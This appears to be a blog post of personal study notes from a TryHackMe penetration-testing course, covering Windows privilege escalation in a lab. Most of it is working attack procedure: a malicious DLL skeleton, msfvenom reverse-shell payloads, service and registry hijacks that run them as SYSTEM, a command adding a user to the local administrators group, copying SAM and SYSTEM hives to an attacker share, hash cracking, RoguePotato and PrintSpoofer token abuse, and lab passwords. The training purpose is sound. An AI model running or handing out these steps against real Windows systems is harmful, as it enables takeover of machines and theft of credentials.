THM – Windows Privilege Escalation – Part 16
This is my notes from the Junior Pentesting course at TryHackMe. This course takes you through the basics and some advanced topics regarding penetration testing.
Table Of Contents
- Introduction
- Information Gathering
- Tools of the trade
- Vulnerable Software
- DLL Hijacking
- Unquoted Service Path
- Service exploits – Insecure Service permissions
- Service Exploits – Insecure Service permissions 2
- Service Exploits – Weak Regisry Permissions
- Service Exploits – Insecure Service Executables
- Registry – AutoRun
- Registry – AlwaysInstallElevated
- Passwords – Registry
- Passwords – Saved Creds
- Passwords – Security Account Manager (SAM)
- Scheduled Tasks
- Insecure GUI Apps
- Startup Apps
- Token Impersonation – Rogue Potato
- Token Impersonation – PrintSpoofer
- Token Impersonation
Introduction
Privilege escalation will require you to follow a methodology similar to the one given below:
- Enumerate the current user’s privileges and resources it can access.
- If the antivirus software allows it, run an automated enumeration script such as winPEAS or PowerUp.ps1
- If the initial enumeration and scripts do not uncover an obvious strategy, try a different approach (e.g. manually go over a checklist like the one provided here)
Information Gathering
Permissions
icacls – Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.
- F – Full access
- M– Modify access
- RX – Read and execute access
- R – Read-only access
- W – Write-only access
Example: icacls Desktop
User enumeration
The following commands will help us enumerate users and their privileges on the target system.
- Current user’s privileges:
whoami /priv
- List users:
net users
- List details of a user:
net user username
(e.g.net user Administrator
) - Other users logged in simultaneously:
qwinsta
(the query session command can be used the same way) - User groups defined on the system:
net localgroup
- List members of a specific group:
net localgroup groupname
(e.g.net localgroup Administrators
)
Collection System Information
The systeminfo command will return an overview of the target system.
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Searching files
The findstr
command can be used to find such files in a format similar to the one given below:
findstr /si password *.txt
Command breakdown:
findstr
: Searches for patterns of text in files.
/si
: Searches the current directory and all subdirectories (s), ignores upper case / lower case differences (i)
password
: The command will search for the string “password” in files
*.txt
: The search will cover files that have a .txt extension
The string and file extension can be changed according to your needs and the target environment, but “.txt”, “.xml”, “.ini”, “*.config”, and “.xls” are usually a good place to start.
Path Level
A missing critical patch on the target system can be an easily exploitable ticket to privilege escalation. The command below can be used to list updates installed on the target system.
wmic qfe get Caption,Description,HotFixID,InstalledOn
WMIC is a command-line tool on Windows that provides an interface for Windows Management Instrumentation (WMI).
Network Connections
In some cases, we see that some services run locally on a system and can only be accessible locally. System Administrators that lack basic cyber security knowledge tend to be laxer when setting services that are only accessible over the system (e.g. only responding to requests sent to 127.0.0.1). As we have access to the target system, such services can provide a ticket to a higher privileged user.
The netstat command can be used to list all listening ports on the target system. The netstat -ano command will return an output similar to the one listed below:
Output of the Netstat Command
C:\Users\user\Desktop>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 68
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
[...]
The command above can be broken down as follows
- -a: Displays all active connections and listening ports on the target system.
- -n: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.
- -o: Displays the process ID using each listed connection.
Any port listed as “LISTENING” that was not discovered with the external port scan can present a potential local service. If you uncover such a service, you can try port forwarding to connect and potentially exploit it.
Scheduled Tasks
The schtasks command can be used to query scheduled tasks.
schtasks /query /fo LIST /v
Drivers
The driverquery
command will list drivers installed on the target system. You will need to do some online research about the drivers listed and see if any presents a potential privilege escalation vulnerability.
Antivirus
The query below will search for a service named “windefend” and return its current state.
sc query windefend
While the second approach will allow you to detect antivirus software without prior knowledge about its service name, the output may be overwhelming.
sc queryex type=service
Tools of the trade
WinPEAS
WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths. Good practice to always redirect the output to a file, as shown below:
winpeas.exe > outputfile.txt
WinPEAS can be downloaded here
PowerUp
PowerUp is a PowerShell script that searches common privilege escalation on the target system. You can run it with the Invoke-AllChecks
option that will perform all possible checks on the target system or use it to conduct specific checks (e.g. the Get-UnquotedService
option to only look for potential unquoted service path vulnerabilities).
PowerUp can be downloaded here.
Reminder: To run PowerUp on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can launch PowerShell using the command below.
Running PowerUp.ps1 on the Target System
C:\Users\user\Desktop>powershell.exe -nop -exec bypass
Windows Exploit Suggester
To avoid making unnecessary noise that can attract attention, you may prefer to use Windows Exploit Suggester, which will run on your attacking machine.
Windows Exploit Suggester is a Python script that can be found and downloaded here
To use the script, you will need to run the systeminfo
command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.
Once this is done, windows-exploit-suggester.py can be run as follows;
windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo_output.txt
Metasploit
If you already have a Meterpreter shell on the target system, you can use the multi/recon/local_exploit_suggester
module to list vulnerabilities that may affect the target system and allow you to elevate your privileges on the target system.
Vulnerable Software
The command below will dump information it can gather on installed software.wmic product
You could filter the output to obtain a cleaner output with the command below.wmic product get name,version,vendor
Be careful; due to some backward compatibility issues (e.g. software written for 32 bits systems running on 64 bits), the wmic product
command may not return all installed programs.
It is worth checking running services using the command below to have a better understanding of the target system.
wmic service list brief
grep the output for running services by adding a findstr
command as shown below.
wmic service list brief | findstr "Running"
# Auto start service
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows"
If you need more information on any service, you can simply use the sc qc command as seen below.
sc qc for more information on a service
C:\Users\user>sc qc RemoteMouseService
DLL Hijacking
DLL hijacking is an effective technique that can allow you to inject code into an application. Some Windows executables will use Dynamic Link Libraries (DLLs) when running. We think of DLLs as files that store additional functions that support the main function of the .exe file. In a way, DLLs are executable files, but they can not be run directly like an exe file. They should be launched by other applications (or exe in most cases). If we can switch the legitimate DLL file with a specially crafted DLL file, our code will be run by the application. DLL hijacking requires an application (typically an exe file) that either has a missing DLL file, or where the search order can be used to insert the malicious DLL file.
Introduction to DLL Files
DLL Files are stored in C:\Winows\System32.
A DLL Hijacking scenario consists of replacing a legitimate DLL file with a malicious DLL file that will be called by the executable and run. By this point, you may have an idea about the specific conditions required for a successful DLL hijacking attack. These can be summarized as;
- An application that uses one or more DLL files.
- A way to manipulate these DLL files.
In summary, for standard desktop applications, Windows will follow one of the orders listed below depending on if the SafeDllSearchMode is enabled or not.
If SafeDllSearchMode is enabled, the search order is as follows:
- The directory from which the application loaded.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
If SafeDllSearchMode is disabled, the search order is as follows:
- The directory from which the application loaded.
- The current directory.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
For example, if our application.exe requires the app.dll file to run, it will look for the app.dll file first in the directory from which it is launched. If this does not return any match for app.dll, the search will continue in the above-specified order. If the user privileges we have on the system allow us to write to any folder in the search order, we can have a possible DLL hijacking vulnerability. An important note is that the application should not be able to find the legitimate DLL before our modified DLL.
Finding DLL Hijacking Vulnerabilities
Identifying DLL Hijacking vulnerabilities will require loading additional tools or scripts to the target system.
The tool you can use to find potential DLL hijacking vulnerabilities is Process Monitor (ProcMon). ProcMon requires admin rights, so it will not work on the target machine. You have to setup a test environment and conduct research there.
The screenshot below shows you what to look for in the ProcMon interface. You will see some entries resulted in “NAME NOT FOUND”.
The last two lines in the screenshot above show that dllhijackservice.exe is trying to launch hijackme.dll in the “C:\Temp” folder but can not find this file. This is a typical case of a missing DLL file.
Creating a malicious DLL file
The example below is a skeleton DLL file you can adapt according to your needs.
Skeleton Code for the Malicious DLL #include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\\Temp\\dll.txt"); ExitProcess(0); } return TRUE; }
You can see this file will execute the whoami
command (cmd.exe /k whoami
) and save the output in a file called “dll.txt“.
The mingw compiler can be used to generate the DLL file with the command given below:
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
You can install the mingw compiler using the apt install gcc-mingw-w64-x86-64
command.
We have seen earlier that the application we target searches for a DLL named hijackme.dll. This is what our malicious DLL should be named.
Once compiled, we will need to move the hijackme.dll file to the Temp folder in our target system. You can use the following PowerShell command to download the .dll file to the target system:
wget -O hijackme.dll ATTACKBOX_IP:PORT/hijackme.dll
We will have to stop and start the dllsvc service again using the command below:
sc stop dllsvc & sc start dllsvc
Unquoted Service Path
When a service starts in Windows, the operating system has to find and run an executable file. For example, you will see in the terminal output below that the “netlogon” service (responsible for authenticating users in the domain) is, in fact, referring to the C:\Windows\system32\lsass.exe binary.
Netlogon and its binary
C:\Users\user>sc qc netlogon
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: netlogon
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\lsass.exe
LOAD_ORDER_GROUP : MS_WindowsRemoteValidation
TAG : 0
DISPLAY_NAME : Netlogon
DEPENDENCIES : LanmanWorkstation
SERVICE_START_NAME : LocalSystem
C:\Users\user>
In the example above:
- Service in launched, windows follow a search order similar to above notes.
- Windows approach: if the path is written between quotes, Windows will directly go to the correct location and launch service.exe
- If path is not written between quotes and if any folder name in the path has a space in its name things get complicated. Windows will append “.exe” and start looking for an executable, starting with the shortest possible path.
In our example, this would be C:\Program.exe. If program.exe is not available, the second attempt will be to run topservice.exe under C:\Program Files\. If this also fails, another attempt will be made for C:\Program Files\topservice folder\subservice.exe. This process repeats until the executable is found.
Knowing this, if we can place an executable in a location we know the service is looking for one, it may be run by the service.
Finding Unquoted Service Path Vulnerabilities
Tools like winPEAS and PowerUp.ps1 will usually detect unquoted service paths. But we will need to make sure other requirements to exploit the vulnerability are filled. These are;
- Being able to write to a folder on the path
- Being able to restart the service
The command below will list services running on the target system. The result will also print out other information, such as the display name and path.
wmic service get name,displayname,pathname,startmode
Going over the output of this command on the target machine, you will notice that the “unquotedsvc” service has a path that is not written between quotes.
You can further check the binary path of this service using the command below:
sc qc unquotedsvc
We can use accesschk.exe with the command below to check for our privileges.
.\accesschk64.exe /accepteula -uwdq "C:\Program Files\"
We can use msfvenom (on the AttackBox) to generate an executable. The command below will wrap Meterpreter in an executable file.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[KALI or AttackBox IP Address] LPORT=[The Port to which the reverse shell will connect] -f exe > executable_name.exe
Now either start a /multi/handler or a netcat listener on your attacking machine.
Once you have generated and moved the file to the correct location on the target machine, you will need to restart the vulnerable service.
You can use the sc start unquotedsvc
command to start the service.
Service exploits – Unquoted Service Path (2)
Query the “unquotedsvc” service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces.
sc qc unquotedsvc
Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
Copy the reverse.exe executable you created to this directory and rename it Common.exe:
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
net start unquotedsvc
Service exploits – Insecure Service permissions
Use accesschk.exe to check the “user” account’s permissions on the “daclsvc” service:
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
Note that the “user” account has the permission to change the service config (SERVICE_CHANGE_CONFIG).
Query the service and note that it runs with SYSTEM privileges (SERVICE_START_NAME):
sc qc daclsvc
Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
net start daclsvc
Service Exploits – Insecure Service permissions 2
If there is a service with insecure service permission you can enable it and add your user to local administratos group. You can use PowerUp to check for insecure service permissions.
PowerUp also have a invoke-serviceabuse function.
sc config SNMPTRAP binpath= "cmd.exe /c net localgroup administrators USER /add" start= "demand" obj= "NT AUTHORITY\SYSTEM" password= ""
# Now start the service
sc start SNMPTRAP
# Verify that your user is in the local administrators group
net localgroup administrators
Service Exploits – Weak Regisry Permissions
Query the “regsvc” service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).
sc qc regsvc
Using accesschk.exe, note that the registry entry for the regsvc service is writable by the “NT AUTHORITY\INTERACTIVE” group (essentially all logged-on users):
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
Overwrite the ImagePath registry key to point to the reverse.exe executable you created:
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
net start regsvc
Service Exploits – Insecure Service Executables
Query the “filepermsvc” service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).
sc qc filepermsvc
Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
Copy the reverse.exe executable you created and replace the filepermservice.exe with it:
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
net start filepermsvc
Registry – AutoRun
Query the registry for AutoRun executables:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!
rdesktop MACHINE_IP
Registry – AlwaysInstallElevated
Query the registry for AlwaysInstallElevated keys:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Note that both keys are set to 1 (0x1).
On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).
Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
Passwords – Registry
The registry can be searched for keys and values that contain the word “password”:
reg query HKLM /f password /t REG_SZ /s
If you want to save some time, query this specific key to find admin AutoLogon credentials:
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):
winexe -U 'admin%password' //MACHINE_IP cmd.exe
Passwords – Saved Creds
List any saved credentials:
cmdkey /list
Note that credentials for the “admin” user are saved. If they aren’t, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.
Start a listener on Kali and run the reverse.exe executable using runas with the admin user’s saved credentials:
runas /savecred /user:admin C:\PrivEsc\reverse.exe
Passwords – Security Account Manager (SAM)
The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.
Transfer the SAM and SYSTEM files to your Kali VM:
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\
On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:
git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
Crack the admin NTLM hash using hashcat:
hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
You can use the cracked password to log in as the admin using winexe or RDP.
Scheduled Tasks
View the contents of the C:\DevTools\CleanUp.ps1 script:
type C:\DevTools\CleanUp.ps1
The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.
Insecure GUI Apps
Start an RDP session as the “user” account:
rdesktop -u user -p password321 MACHINE_IP
Double-click the “AdminPaint” shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:
tasklist /V | findstr mspaint.exe
In Paint, click “File” and then “Open”. In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe
Press Enter to spawn a command prompt running with admin privileges.
Startup Apps
Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:
cscript C:\PrivEsc\CreateShortcut.vbs
Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:
rdesktop -u admin MACHINE_IP
A shell running as admin should connect back to your listener.
Token Impersonation – Rogue Potato
Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:
sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the “local service” account:
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Start another listener on Kali.
Now, in the “local service” reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999
Token Impersonation – PrintSpoofer
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the “local service” account:
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Start another listener on Kali.
Now, in the “local service” reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
Token Impersonation
Service accounts may have a higher privilege level than the low-level user you may have. In Windows versions before Server 2019 and 10 (version 1809), these service accounts are affected by an internal man-in-the-middle vulnerability. As you may know, man-in-the-middle (MitM) attacks are conducted by intercepting network traffic. In a similar fashion, higher privileged service accounts will be forced to authenticate to a local port we listen on. Once the service account attempts to authenticate, this request is modified to negotiate a security token for the “NT AUTHORITY\SYSTEM” account. The security token obtained can be used by the user we have in a process called “impersonation“. Although it has led to several exploits, the impersonation rights were not a vulnerability.
One Comment
Comments are closed.